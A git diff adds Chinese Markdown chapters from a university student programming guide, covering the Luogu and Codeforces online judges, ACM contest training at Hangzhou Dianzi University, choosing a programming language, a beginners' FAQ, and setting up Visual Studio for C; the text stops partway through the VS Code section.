diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.1手把手教你学算法——如何使用OJ（Online Judge）.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.1手把手教你学算法——如何使用OJ（Online Judge）.md
new file mode 100644
index 0000000..c254565
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.1手把手教你学算法——如何使用OJ（Online Judge）.md	
@@ -0,0 +1,164 @@
+# 3.2.2 手把手教你学算法——如何使用 OJ（Online Judge）
+
+在之前的篇章中，我们向新手 acmer 推荐了两个编程网站——Luogu 与 Codeforces，下面由笔者向各位介绍一下网站的详细用法。
+
+## Luogu
+
+进入 [https://www.luogu.com.cn/](https://www.luogu.com.cn/)
+
+![](https://cdn.xyxsw.site/wenjing1.png)
+
+### 社交模块
+
+做为一个刷题网站，Luogu 提供了符合中文用户习惯的社交模块。体现于左侧边栏的讨论及主页的最近讨论，以及底部的“发射犇犇”系统。但是我并不建议 Acmer 使用该功能，因为 Luogu 主要面向初高中生甚至小学生等参加 NOIP 系列竞赛的用户，讨论不可避免存在一些低龄化现象。对于社交模块的使用，我推荐当且仅当一种做不出题的求助手段，这点放在之后题目模块讲解。
+
+### 题目模块
+
+点开题库，我们看见以下界面
+
+![](https://cdn.xyxsw.site/wenjing2.png)
+
+在上方我们可以筛选我们想要的题目，接下来我们点开 P1000 为例
+
+![](https://cdn.xyxsw.site/wenjing3.png)
+
+右侧三个模块为折叠状态，下面介绍他们的作用
+
+① 标签：假如你已经对算法有了基本的了解，面对一道题毫无思路，那么你可以试试看正解所使用的算法，寻找思路的突破口
+
+② 讨论：假如你的代码因未知原因一直出错，你可以试试讨论（越难的题有效信息越多）看看自己是否犯下别人犯过的错误或者可以发帖求助（关于如何正确发帖求助，请参考《提问的艺术》）
+
+③ 推荐题目：没做爽？再来一道类似的（请勿沉迷刷水题，过题量除了炫耀毫无意义）
+
+右上方点击查看题解，查看其他用户撰写的参考答案和讲解。
+
+点击提交答案
+
+![](https://cdn.xyxsw.site/wenjing4.png)
+
+左侧可以选择语言类型，C++ 用户建议选择 C++14。
+
+O2 优化是一种优化（废话）假如您的代码复杂度正确但 TLE，可以尝试该选项。
+
+### 记录模块
+
+怎么知道自己代码的问题出在哪里呢？记录模块是帮助你的好工具。
+
+![](https://cdn.xyxsw.site/wenjing5.png)
+
+AC：通过该数据点
+
+WA：答案错误 常见原因：没开 Long Long 导致数据溢出、少取模、格式错误、忘记删除调试代码
+
+RE：运行错误 常见原因：数组访问越界、访问空指针、除零模零、主函数返回非 0，评测机炸了（极小概率）
+
+UKE：未知错误 常见于 Remote Judge，建议重交或者去原网站交
+
+TLE：运行超时 请检查算法复杂度与是否存在死循环，也可尝试使用 O2 优化。搜索“卡常数”了解更多缩短运行时间小寄巧
+
+MLE：空间超限 请检查是否递归爆栈、数组过大
+
+OLE：输出超限 放心你见不到的
+
+### 题单模块
+
+点开侧栏题单
+
+![](https://cdn.xyxsw.site/wenjing6.png)
+
+建议新手从官方精选题单开始，由浅入深，由简到难。等到对算法形成概念，针对漏洞补习时可以尝试用户分享题单（到那个阶段已经有很多手段去找题了，刘教练的题单就够你做了）
+
+### 比赛模块
+
+点开侧栏就能看见准备举办和已结束的比赛。笔者不建议大家在 Luogu 打比赛，首先赛制不一样，其次出题风格不一样，最后对于初学者 Luogu 比赛的难度曲线过大。
+
+## Codeforces
+
+进入 [https://codeforces.com/?locale=en](https://codeforces.com/?locale=en)
+
+![](https://cdn.xyxsw.site/wenjing7.png)
+
+比起 Luogu，这样的 UI 设计离 CN 互联网已经很远了（然而比起更硬核的一些做题网站，CF 的 UI 真是越看越顺眼）
+
+右上角注册登录切语言（哇塞，可以选俄语，你说的对，但是 CF 是一款由俄罗斯开发的多人在线竞技游戏）
+
+### HOME 模块
+
+主页显示各种数据，主要为近期比赛的一些公告。
+
+### TOP 模块
+
+热帖，如果擅长英语的话，CF 的交流氛围还是不错的，做为一个答疑解惑的论坛肯定比国内强。
+
+### CATALOG 模块
+
+文档目录，你可以在这学习算法竞赛入门，体系化学习算法，只要你会英语
+
+### CONTESTS
+
+重中之重！CF 的比赛系统可以说是我们选择这个网站的最大原因！
+
+进入比赛页面
+
+![](https://cdn.xyxsw.site/wenjing8.png)
+
+上方为将举办比赛，显示开始时间（UTC+8 也就是我们时区的时间）和持续时间大多都开始的比较晚，例如笔者就没有这么晚学习的习惯，所以一般赛后写题。比赛分为以下几种类型（例如写在括号里的 Div.2）
+
+Div.1、Div.2、Div.3、Div.4 数字越小难度越大。
+
+建议新手从 Div.2 及以下的难度打起，在比赛时间内写的题目很少也不要气馁，CF 出题审题质量稳定，写到就是赚到，赛后补题就行
+
+对于已经结束的比赛，我们可以直接点击“Enter”进入比赛看题补题，也可以点击“Virtual partipation”简称“VP”，重现赛时场景，例如显示赛时排行榜，即时过题人数等，在比赛完成后你也可以看见如果你以该状态参赛，你会获得怎样的排名。
+
+下面以一场 Div.2 比赛为例，展示我们该如何打一场 CF。
+
+### VP
+
+![](https://cdn.xyxsw.site/wenjing9.png)
+
+这是一场笔者之前赛后补过的 Div.2，画面右下角分别为赛后公告和题解，右侧便是开启 VP 的按钮。
+![](https://cdn.xyxsw.site/wenjing10.png)
+
+*VP 模拟赛时的好处就是在虚拟参赛中获得真实比赛才能积累的经验，比如这里笔者发现通过前三题后，我应该先去看看 F 题，因为做出来的人更多，我有更大的可能性做出来，ACM 中题目并不是 100% 按难度排序。*
+
+![](https://cdn.xyxsw.site/wenjing11.png)
+
+进入 VP 后，我们可以发现比起正常赛后补题有了明显不同。
+
+首先我们可以看见赛时某道题的通过人数，随比赛时间流逝 100% 仿真变化。而且也可以与当时的“虚拟选手”同步竞争，例如笔者这里就复制之前写过的代码荣登榜三（乐）
+
+对于大多数比赛，采用 ICPC 赛制，解决某题得到的分数由该题当前的分数减去 (不成功的提交次数)*50，这里某道题的分数是由比赛开始时的分数随时间线性减少得到的。
+
+也就是做题越快，错误次数越少，分数和排名就越高，这点大体是与 ACM 赛制相同的。
+
+当然，CF 还有极具特色的 Hack 玩法，这些深入内容留给有上分兴趣的读者研究。
+
+让我们点开 A 题，来看看如何提交答案
+
+![](https://cdn.xyxsw.site/wenjing12.png)
+
+可以看见，右侧有一个 submit，与 luogu 不同的是，你需要上传源代码文件（如 cpp）然后选择 G++17 为语言，提交。
+
+当然，你也可以点开上侧的 submit code
+
+![](https://cdn.xyxsw.site/wenjing13.png)
+
+选择题目、语言，填写代码后提交，就和 Luogu 的方式一样了。
+
+同样，在上侧 MY SUBMISSIONS 处可以查看已提交的代码和状态
+
+![](https://cdn.xyxsw.site/wenjing14.png)
+
+### PROBLEMSET
+
+同样，CF 也有题库
+
+![](https://cdn.xyxsw.site/wenjing15.png)
+
+如果你只想做某道题而不是某场比赛，这里也许更适合你。
+
+不过 CF 的题库比较鸡肋，标签筛选也不是很方便（大概是把想要的标签在右上角分隔好）
+
+## 总结
+
+笔者向读者详细介绍了两个 OJ，至于如何让 OJ 更好的辅助你的 ACM 学习，我应该在什么时间节点或训练阶段，出于什么训练目的选择哪个网站，笔者留到下一个篇章继续介绍。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.2ACM 竞赛从入门到入坟.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.2ACM 竞赛从入门到入坟.md
new file mode 100644
index 0000000..b3079fa
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.2ACM 竞赛从入门到入坟.md	
@@ -0,0 +1,79 @@
+# 3.2.3 ACM 竞赛从入门到入坟
+
+> 作者：[选择公理](https://github.com/axiomofchoice-hjt)
+>
+> 利益相关：2021 杭电六队，2022 杭电一队成员
+
+相信大家从前面的文章中已经了解 ACM 的基本情况，这里就不赘述了。
+
+首先需要强调的是，选择 ACM 这条路非常辛苦，每天要花大量时间刷题；同时，ACM 也是残酷的，唯有实力才能保证你不被集训队淘汰。
+
+这里就不得不提一下参加 ACM 竞赛的一般流程了：
+
+1. 大一上：参加集训队选拔，进入集训队（错过选拔的要用 [Codeforces](https://codeforces.com/) 分数来向老刘申请）。
+2. 大一下：主要是个人训练，经历多轮淘汰，期末会组队（三人一队）。
+3. 大一暑假：以组队形式参加多校等训练，这些训练将决定你在大二这个赛季能参加几次比赛。
+4. 大二：训练或比赛。没比赛资格没关系，你可以沉淀，大三还有机会。
+5. 大三同上，但是也有选择退出的。
+
+## 第一阶段
+
+打 ACM 要趁早。从上面流程图可以看出来，大一入学就应该决定好了，然后是学习，再然后参加选拔（冷知识：集训队不是想进就能进的）。
+
+### 群
+
+首先是加群。每一届老刘都会弄个杭电 ACM 新生群，没有门槛的。想要加这个群，可以问一问杭电的其他群 / 学长学姐。
+
+群里主要关注两件事，一个是 ACM 公选课，一个是选拔。然后有问题也可以丢群里。
+
+### 公选课
+
+老刘每学期都有公选课，大一上的时候可以去旁听。公选课的内容和选拔是相关的，课讲了哪些，选拔就考哪些。所以，跟上课程进度是很有必要的。
+
+### 要学什么
+
+编程语言（C/C++）是算法的前提，而公选课是不会教你语言的，得自学。零基础的同学要注意了，千万不要跟着 C 语言的课来学，太慢了。尽量在一个礼拜内学完 C 的基础内容（指针可以跳过），然后跟上公选课。C++ 可以晚点再学。
+
+说明一下，语言其实包含很多语法，但是 ACM 用得到的只是其中的一个子集。像 C 的指针，C++ 的模板，都是很难但是鸡肋的知识点。如果你要做工程，那这些语法都得学。
+
+学会语言后，可以找一个算法书（算法竞赛入门经典（刘汝佳），算法赛进阶指南（李煜东）等等）系统学习各种算法。
+
+提醒一下，这里讲到的所有东西都要上机实践，ACM 非常注重实践。你在开始学语言的时候就要多上机。
+
+### 选拔
+
+在大一上 10 月开始，每个月至少 1 场选拔赛（上机编程的模式），每场比赛都会根据参选人员的实际表现确定若干数量的同学入围集训队。
+
+除了选拔，还有一种进队方法那就是 [Codeforces](https://codeforces.com/)。Codeforces 每个账号都会有一个分数（rating），打 Codeforces 比赛打得好就上分，反之就掉分。只要大一上你的 rating 连续三次达到 1400（具体以老刘为准），就可以向老刘申请入队。事实上，这种方法甚至到了大二都是可以的（大二你的 rating 可能要 1900），不过几乎没有人这么做，所以还是要趁早。
+
+大一上会选拔 50-60 人，大一下会保留 20 人左右。（仅供参考）
+
+## 第二阶段
+
+恭喜你，你已经学完了基础算法，可以进入以刷题为主的学习模式了。
+
+刷题平台（OJ）有很多，如果没有特别适合你的，那就去刷 [Codeforces](https://codeforces.com/)。因为这个平台比赛多，老刘认可。建议 Codeforces 的每场比赛都参加（如果时间不好可以第二天补上）。
+
+说到时间，Codeforces 比赛最常见的时间是 22:35 到 00:35（Codeforces 是俄罗斯的，有时差，所以时间有点阴间）。ACMer 其实很多都是熬夜党。
+
+打完比赛，建议钻研一下自己没做出的前一两题，写个题解。为什么要写题解呢，一个是方便以后来回顾，一个是加深印象，一个是把自己的思维用文字表达出来，这样能发现思维的漏洞（比如证明不严谨之类的）。题解写出来发不发博客就看个人喜好吧。作者以前也是坚持写博客写了很久。
+
+![](https://cdn.xyxsw.site/Axiomofchoice_1.png)
+
+为什么要打 Codeforces 比赛呢？主要原因是打比赛有计时，有压力（怕掉分的压力），能让人提升更快。不要因为怕掉分就不参加了，你要相信只要你一直打比赛，你的 rating 曲线一定是波动上升的。
+
+另外建议大家整理一个自己的模板（算法套路），这里推荐几个资料供参考：[OI Wiki](https://oi-wiki.org)，[Kuangbin 模板](https://kuangbin.github.io/2018/08/01/ACM-template/)。想要验证模板可以去 [luogu](https://www.luogu.com.cn/)，luogu 收录了很多模板题。
+
+## 第三阶段
+
+恭喜你，你应该已经度过淘汰阶段，到了组队环节了，祝愿你组队能抱到大腿。
+
+有了队伍，可以考虑一下分工问题，包括读题、键盘手、各种算法类型等分工。这里建议对于任何一类问题（比如数据结构），队伍里要有至少两个人擅长，因为两个人讨论解决问题比一个人要快很多很多。而在比赛中期，最好的策略也是双开，即两个人研究一题，剩下一个研究另一题（不过这只是经验之谈了）。
+
+如果你在激烈的竞争中获得参赛资格，那么你基本可以认为你有至少银牌的实力了。（~~拿了铜牌及以下老刘会生气的~~）
+
+## 退役的姿势
+
+打 ACM 很多是为了方便找工作的，但是作者这届找工作太难了😭，光凭借 ACM 奖牌是远远不够的，要拥有好多其他能力。
+
+不管你 ACM 是否取得了成绩，建议退役后要好好做规划，多了解行情，选择好的方向进行研究。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2算法杂谈.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2算法杂谈.md
new file mode 100644
index 0000000..bc9d23e
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2算法杂谈.md
@@ -0,0 +1,37 @@
+# 3.2 算法杂谈
+
+## 学计算机要先学算法吗？
+
+也许有的同学在高中阶段接触过信息学奥赛，那么也许你已经对基础的算法知识已经有了一定的了解。
+
+那么对于没有接触过算法的同学来说呢？也许你们听过 Niklaus Emil Wirth 的一句话：“程序=算法 + 数据结构。”可能有的同学这个时候就要说了：“你看算法多重要，你没有算法就没有程序！”但这句话中的算法并不是你们所理解的狭义的“算法”。
+
+广义上来说，“算法”可以被理解为是一组解决特定问题的有序步骤，它在描述一个“流程”，诸如做菜的流程、排课表都可以被认为是一种算法。利用计算机逻辑解决问题才是算法的核心。
+
+学习算法的基础是拥有最基本的计算机素养，你需要优先学习一些基本的计算机概念、编程语言、简单的数据结构（数组、链表等），这些基本知识是你能够灵活利用算法的基础。
+
+## 学了算法就相当于学好了计算机吗？
+
+学好了算法当然不等于学好了计算机科学。计算机科学是一个非常庞大的知识体系，包括更为底层的计算机组成原理、编译原理等，更为表层的 AI，开发等，是一门综合性学科。总的来说，算法是计算机科学中较为重要的一部分，但**远远**不是全部。
+
+## 学算法就要用《算法导论》一类的书吗？
+
+我的答案是否定的。它更适合作为“工具书”（就像你英语的词典那样），而不是一本适合新生入门学习的书。可以使用《我的第一本算法书》一类的更为基础更为有趣的算法内容。相比于完全严谨的逻辑推导，初学者的诉求是在"看得见，摸得着的例子和环境下探索和吸收新概念". 像这样的大部头可以在之后进行阅读。
+
+## 学算法一定要用 C 语言吗？不用 C 语言可以吗？
+
+不一定要用 C 语言。但是 C 语言作为一种贴近底层面向过程语言，对日后学习其他的语言会有较大的帮助。你也可以先学习 Python、JAVA 等等。学校的课程仅仅是教授一些比较基础的知识，如果想要真正掌握一门语言，需要在学校课程的基础上更进一大大大步。
+
+## ACM 怎么说？
+
+前情提要，请尽量不要以功利的心态去参加 ACM，你想要的与你能得到的可能存在过大落差
+
+ACM 是美国计算机协会（Association for Computing Machinery）的缩写，原先是 ICPC（国际大学生程序设计竞赛）的赞助商（2018 年后不再赞助），在国内与 ICPC 齐名的比赛还有 CCPC（中国大学生程序设计竞赛）。
+
+但常说的“ACM”一般泛指一切采用 ACM 赛制（给定一定数量的题目，采用罚时制，通过相同题目数量的选手依据罚时决定排名）的程序设计竞赛。
+
+在我校，参加 ACM 社团（姑且叫做社团）并不代表能够参加有含金量的团体赛（ICPC、CCPC 等）。你需要先参加由我校教练刘春英老师组织的各种比赛，有资格进入集训队后，才有机会代表学校参加比赛（当然不限名额的个人赛想参加就参加）。
+
+进入集训队后采取末位淘汰制度（最后留下来的人在 20 人左右），最后留下来的人才有机会参加比赛。**因此个人并不推荐 0 基础的同学对于 ACM 过于执着**，有 0 基础的同学最后进入校队的例子，不过这通常意味着你一天至少得刷一道算法题。如果还是想尝试的同学，可以去洛谷 ([www.luogu.com.cn](http://www.luogu.com.cn))、Codeforces([www.codeforces.com](http://www.codeforces.com))、Atcoder([atcoder.jp](https://atcoder.jp/)) 等平台上注册账号，练习题目，参加这些网站定期组织的一些比赛。
+
+如果经过一段时间的练习能够在 Codefoces（[www.codeforces.com](http://www.codeforces.com)）上达到 1400 以上的 Rating，那么可以再观望观望参与 ACM。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.3如何选择编程语言.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.3如何选择编程语言.md
new file mode 100644
index 0000000..a8f949d
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.3如何选择编程语言.md
@@ -0,0 +1,61 @@
+# 3.3 如何选择编程语言
+
+## 编程语言的工具属性
+
+在回答这个问题之前，需要各位同学明确的一点是，编程并不是一个独立的学科，像数学那样做题是学不好的。
+
+编程语言的选择更像是锤子与扳手之间的选择，更大程度上看的是你需要解决什么样的问题。当你需要砸钉子的时候，使用螺丝刀总归是不顺手的，因此了解不同语言的特性，针对任务进行选择是非常有必要的。
+
+## 编程语言特性
+
+首先附上一张经典老图
+
+![](https://cdn.xyxsw.site/boxcnW0YQY58RXhwdtRj5k6ndlc.jpeg)
+
+### C 语言/C++
+
+C 语言/C 艹一脉同源，从图中来看，C 和 C 艹都像多功能瑞士军刀，说明其是用来做细活的工具，C 上面的优盘说明其可以进行硬件开发的相关工作。
+
+不少同学对可能会感到困惑，为什么要从 C 语言学起<del>（因为学校菜教不了别的）</del>
+
+C 语言其实是一门优秀的承上启下的语言，既具有高级语言的特点，编写不依赖特定的计算机硬件应用程序，应用广泛，又具有底层汇编的特点，其指针可以让此语言操纵更为底层的内存空间。
+
+但是其功能毕竟受限，有时候用起来会苦恼其操作受限以及各种奇奇怪怪的 bug 问题。
+
+**如果为了增强自身的编程能力和计算机素养，培养解决问题的能力，C 语言的你的不二选择。在这里强烈推荐 jyy 老师的各类课程。（[http://jyywiki.cn/](http://jyywiki.cn/)）**
+
+**我们的任务一部分会使用 C 语言，一方面培养大家编程能力，一方面辅助大家期末考试。**
+
+### C++
+
+现代 C++ 程序可看成以下三部分组成。
+
+- 更接近底层的语言，大多继承于 C
+- 更高级的语言特征，可自定义数据类型
+- 标准库
+
+**C++ 既有 C 面向过程的特点，又拥有面向对象的特性，是一门系统级的语言。**
+
+编译器、操作系统的开发，高性能服务器的开发，游戏引擎的开发，硬件编程，深度学习框架的开发......只要是和底层系统或者是与性能相关的事情，通常都会有 C++ 的一席之地。
+
+## Python
+
+Python 在图里是电锯，适合干比较“狂野”的任务，也是深度学习的主要编程语言。其在数据处理方面具有诸多出色成熟的库，编程语言也较为简单。
+
+但是过度的包装可能造成出现意想不到的错误，出现的结果看不懂等等。
+
+使用缩进控制语句是此语言的特点。
+
+**作为深度学习的主要使用语言，我们将以****P****ython 为主。**
+
+## JAVA
+
+一门面向对象编程语言，不仅吸收了 C++ 语言的各种优点，还摒弃了 C++ 里难以理解的多继承，指针等概念，因此 java 语言具有功能强大和简单易用两个特征。
+
+他太老了，虽然不少框架都依托于 Java，但是不得不说，一些地方略有落后。
+
+**频繁应用于****W****eb 开发，安卓应用等等。**
+
+![](https://cdn.xyxsw.site/boxcnPv2FcyQxGLjYHThSaJNwRf.jpeg)
+
+当然还有各种形形色色的编程语言等着同学们去探索。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.1FAQ：常见问题.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.1FAQ：常见问题.md
new file mode 100644
index 0000000..2b42708
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.1FAQ：常见问题.md
@@ -0,0 +1,72 @@
+# FAQ：常见问题
+
+## 我完全没基础觉得好难呜呜
+
+教育除了知识的记忆之外，更本质的是能力的训练，即所谓的 training. 而但凡 training 就必须克服一定的难度，否则你就是在做重复劳动，能力也不会有改变。如果遇到难度就选择退缩，或者让别人来替你克服本该由你自己克服的难度，等于是自动放弃了获得 training 的机会
+
+## 我觉得无从下手
+
+尝试借鉴他人的代码也未尝不可，但是要保证每一行都看懂哦
+
+![](https://cdn.xyxsw.site/boxcnQ4rvJqVbXJaWMOwceHdrQb.png)
+
+## 我感觉讲义写的不够细
+
+首先，我无法照顾到每一个人的情况，保证你每一个地方都看懂
+
+其次，很多地方的坑是故意留给你让你尝试独立解决问题的。
+
+## 我觉得我以后不会从事 C 相关的工作
+
+这种"只要不影响我现在 survive, 就不要紧"的想法其实非常的利己和短视：你在专业上的技不如人，迟早有一天会找上来，会影响到你个人职业生涯的长远的发展
+
+更严重的是，他可能会透支学校的信誉。
+
+**同时，先学好 C 语言对你有以下帮助：**
+
+1. 掌握计算机底层知识：C 语言是一种高效的系统级语言，它的语法和数据结构设计直接映射到底层计算机硬件，通过学习 C 语言可以更深入地了解计算机底层运作原理，为理解更高级的编程语言和开发工具奠定基础。
+2. 提高编程能力：C 语言的语法相对较为简单，但是它要求程序员手动管理内存，这需要编程者深入了解内存结构和指针的使用。通过学习 C 语言，可以锻炼编程能力，提高代码质量和效率。
+3. 能够理解其他语言：C 语言是很多编程语言的基础，如 C++、Java、Python 等语言都从 C 语言继承了很多特性。因此，学好 C 语言可以帮助你更好地理解其他编程语言的设计思路和工作原理。
+4. 开发底层软件：由于 C 语言具有高效、灵活、可移植等特点，因此它被广泛用于开发操作系统、嵌入式系统、网络协议、游戏引擎等底层软件。学习好 C 语言可以为你将来从事底层软件开发提供必要的基础知识。
+
+## 我感觉我写了也不会学到啥
+
+复杂的问题总是存在简单的解释，C 语言虽然不擅长带 GUI 界面的编写，但是我们每日在用的都和他息息相关，那些庞大的系统也无非就是由这些简单的东西搭建而成的
+
+## 我觉得我没有学懂 C 语言就开始别的合适吗
+
+学习本章内容更大程度上是为了让你搞清楚编程世界运行的基本原理
+
+其实各类编程语言本质上没有什么不同（并且 C 语言是一切语言的爹），你熟悉了一门别的语言都会变得非常容易
+
+想要彻彻底底的摸清楚这门语言并达到实操只能靠常年累月的积累，如果各位真的有打算，欢迎尝试本篇教程的爹
+
+NJU-ICS-PA 南京大学计算机系统基础
+
+但是建议大家大二再进行尝试，非常难
+
+## 我总觉得文章没写清楚
+
+你毕业后进入公司/课题组，不会再有讲义具体地告诉你应该做什么，总有一天你需要在脱离讲义的情况下完成任务。我们希望你现在就放弃"讲义和框架代码会把我应该做的一切细节清楚地告诉我"的幻想，为自己的成长负起责任：
+
+- 不知道在说什么，说明你对知识点的理解还不够清楚，这时候你应该去看书/看手册
+- 不知道要做什么/怎么做，说明你的系统观好是零碎的，理解不了系统中各个模块之间的联系，这时候你应该 RTFSC, 尽自己最大努力梳理并理解系统中的一切细节
+- bug 调不出来，说明你不清楚程序正确的预期行为，你需要 RTFSC 理解程序应该如何运行; 此外也说明你不重视工具和方法的使用，你需要花时间去体验和总结它们
+
+如果你发现自己有以上情况，你还是少抱怨，多吃苦吧。
+
+当然，如果你发现有更好的想法欢迎联系我
+
+## 这些对我太简单了
+
+你可以从广度和深度两个角度对自己进行拔高
+
+但是我的建议是涉猎更多的方向更多的领域帮助你建立系统的认知
+
+有且仅有大学有这样好的资源帮助你了
+
+## **坚持了好久还是搞不定，我想放弃了**
+
+![](https://cdn.xyxsw.site/boxcnuNXrb5zOppCZAlGQ19wuDk.jpg)
+
+也许是你坚持的姿势不对，来和 ZZM 聊聊吧
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.2用什么写 C 语言.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.2用什么写 C 语言.md
new file mode 100644
index 0000000..21ea037
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.2用什么写 C 语言.md	
@@ -0,0 +1,195 @@
+# 用什么写 C 语言
+
+初学 C 语言，第一个问题莫过于用什么软件编写 C 语言程序。学校的老师可能会推荐包括但不限于 VC6.0，CodeBlocks，devC++，Visual Studio2013 等，如果你的电脑不是老年机，那么以上软件衷心建议你不要去使用，过于老旧了。
+
+## Windows-Visual Studio
+
+[vs2022(Visual Studio 2022) 指南&&技巧要领](https://www.bilibili.com/video/BV1Xt411g7jT)
+
+<Bilibili bvid='BV1Xt411g7jT'/>
+
+Visual Studio（以下简称 VS）是 Windows 下最完美的 C/C++ 等语言的开发平台，有“宇宙第一 IDE”之称，功能丰富，开箱即用。目前更新到 2022 版。
+
+什么是 IDE，什么是代码编辑器，什么是编译器等等细碎问题参考文档 [3.1 该使用哪个编辑器？？？](3.1%E8%AF%A5%E4%BD%BF%E7%94%A8%E5%93%AA%E4%B8%AA%E7%BC%96%E8%BE%91%E5%99%A8%EF%BC%9F%EF%BC%9F%EF%BC%9F.md) 看不懂的话直接无脑装
+
+### **下载**
+
+[https://visualstudio.microsoft.com/zh-hans/downloads/](https://visualstudio.microsoft.com/zh-hans/downloads/)
+
+选择社区版
+
+![](https://cdn.xyxsw.site/boxcnhNeAnlrbcdJciMUY9oNTuc.png)
+
+社区版和专业版等的区别：社区版免费，功能上几乎无差别
+
+### VS 安装
+
+选择 C++ 桌面开发，其他不用选，有需要了再说。另外，Python 开发不好使，不要像我一样选 Python 开发。
+
+![](https://cdn.xyxsw.site/boxcnkjmKcCxIgRIzA5kyUZckye.png)
+
+安装完成后，一般来说 VS 不会自动创建桌面快捷方式，你需要到开始菜单中启动 VS。
+
+请勿使用鼠标右键中的“在 VS 中打开”来打开 VS
+
+首次打开应该会让你选择开发环境和主题，建议开发环境选择 C++ ，主题根据个人喜好选择。
+
+### 创建项目
+
+VS 是项目制，你需要创建一个项目才能开始编写代码并运行。
+
+打开 VS，会打开如下界面（我使用深色主题），在此处单击“创建新项目”
+
+![](https://cdn.xyxsw.site/boxcn6MgNnY2qBd1yAudeirx6Sh.png)
+
+在创建新项目页面中选择项目模板为控制台应用（空项目亦可，后续手动添加.c 源文件），并单击下一步
+
+![](https://cdn.xyxsw.site/boxcnFwZpWZ3fQkdd3mCO8Mr9Wj.png)
+
+为你的项目起一个名字，以及选择项目的位置，一般默认即可，如果你有强迫症，C 盘一定不能放个人数据，请自行修改。完成后单击“创建”
+
+![](https://cdn.xyxsw.site/boxcnkxd472wIT39DbEiBsyPWzf.png)
+
+自此就创建了一个项目了，你将会到达如下界面：
+
+![](https://cdn.xyxsw.site/boxcnvOGdjKLnvXvJM7nlE8yVcb.png)
+
+其中，左侧（如果在一开始没有选择 C++ 开发环境的话可能在右侧）为资源管理器，列出了本项目所用到的所有文件，包括代码（外部依赖项、源文件、头文件），以及将来开发图形化界面所需的资源文件；最中间占据面积最多的是代码编辑器窗口，你以后将会在这里编写你的 C 语言代码。最下面是输出窗口，源代码进行编译时，会在此处给出编译进度以及可能的代码中的错误。
+
+请仔细阅读注释（绿色）中的各项内容，这很重要。
+
+阅读完以后，就可以将代码全部删去，编写自己的代码了。
+
+注意控制台项目初始源文件后缀为.cpp 为 C++ 文件，如果编写 C 语言**建议将后缀改为.c**。.cpp 存在隐患：如果不小心使用了 C++ 的语法而非 C 存在的语法，编译器并不会报错，且 C 与 C++ 在某些特性存在区别。
+
+### “运行”你的 C 语言代码
+
+C 语言是编译型语言，因此说“运行”代码其实并不是十分合适，不过我们初学，不用过分抠字眼，知道什么意思即可。
+
+当你编写完自己的代码后，即可单击“本地 Windows 调试器”（或者使用快捷键 F5）进行“运行”。
+
+![](https://cdn.xyxsw.site/boxcnhTxhUYMHeYHdrq0zWzLomb.png)
+
+你可能会发现在“本地 Windows 调试器”右侧还有一个绿色三角形，并且单击这个也可以“运行”，这两个的区别在于“本地 Windows 调试器”是调试运行，右侧那个是不调试直接运行。
+
+### scanf 报错
+
+如果你的代码被 VS 提示“This function or variable may be unsafe. Consider using scanf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.”
+
+![](https://cdn.xyxsw.site/boxcnfrxYjk5CCjMfY0mLK1B1Ze.png)
+
+需要你在项目-xxx 属性（xxx 是你的项目名）-C/C++-代码生成 - 安全检查里将安全检查禁用
+
+![](https://cdn.xyxsw.site/boxcniHhCIUQY0oB3ALlxqgciLd.png)
+
+### 调试
+
+IDE 相比于代码编辑器，最强大的一点莫过于成熟的调试系统。通过调试，可以快速定位代码中没有被编译器检查出来的逻辑错误。如果需要调试，则可以在这个位置单击，打下断点，并且运行程序，程序运行时，就会在此处暂停下来，暂停时就可以查看各个变量的值了。
+
+![](https://cdn.xyxsw.site/boxcnydHyaNPqUEVVWmbdGofX0d.png)
+
+### **深色主题**
+
+需要深色主题请在工具 - 主题里更改为深色
+
+### Tips
+
+#### 仔细查看报错
+
+![](https://cdn.xyxsw.site/boxcnC6TAAdtS0P5HzebFgFn2lc.png)
+
+如果程序代码中出现红色波浪线，则表示该处代码有“错误”，并且该处的错误会同步显示在下面的这个位置，单击即可看到错误详情。如果代码中出现绿色波浪线，则表示该处代码中有警告。警告和错误的区别是警告可以通过编译运行，但编译器认为你这里可能写错了；错误是完全不可以通过编译。
+
+![](https://cdn.xyxsw.site/boxcn7zL0QFakVTpYBdpOmmWOvc.png)
+
+#### 善用提示
+
+![](https://cdn.xyxsw.site/boxcn2ouk043lNQEUkVkIS7bSSd.png)
+
+当你打一些函数名或者关键字时，VS 会给出你语法提示，如果这个提示正确，按下 Tab 键即可将这个提示补全到你的代码里；或者你也可以跟着这个提示打一遍，防止打错关键字。
+
+### VS 的缺点
+
+过于庞大，很多功能对于初学者来说用不上，对电脑的性能也有略微的要求，但瑕不掩瑜，他的开箱即用的使用体验还是很不错的。
+
+## Windows-Visual Studio Code
+
+Visual Studio Code（以下简称 vscode）和 Visual Studio 都是微软开发的软件，区别在于 Visual Studio Code 是一个比较轻量的代码编辑器，在没有经过配置的情况下一般只能编写和查看代码，而不能运行，并且 Visual Studio Code 跨平台，在安装了丰富的插件后体验不输于一众 IDE。
+
+> NX 的留言：
+> 鄙人认为 C 的初学者应该使用 VSCode 更佳，环境准备可见鄙人博客 [『C/C++』VScode 环境配置](https://nickxu.me/2021/12/31/cc-vscode-huan-jing-pei-zhi/)
+
+### vscode 安装
+
+#### 安装软件本体
+
+[https://code.visualstudio.com/](https://code.visualstudio.com/)
+
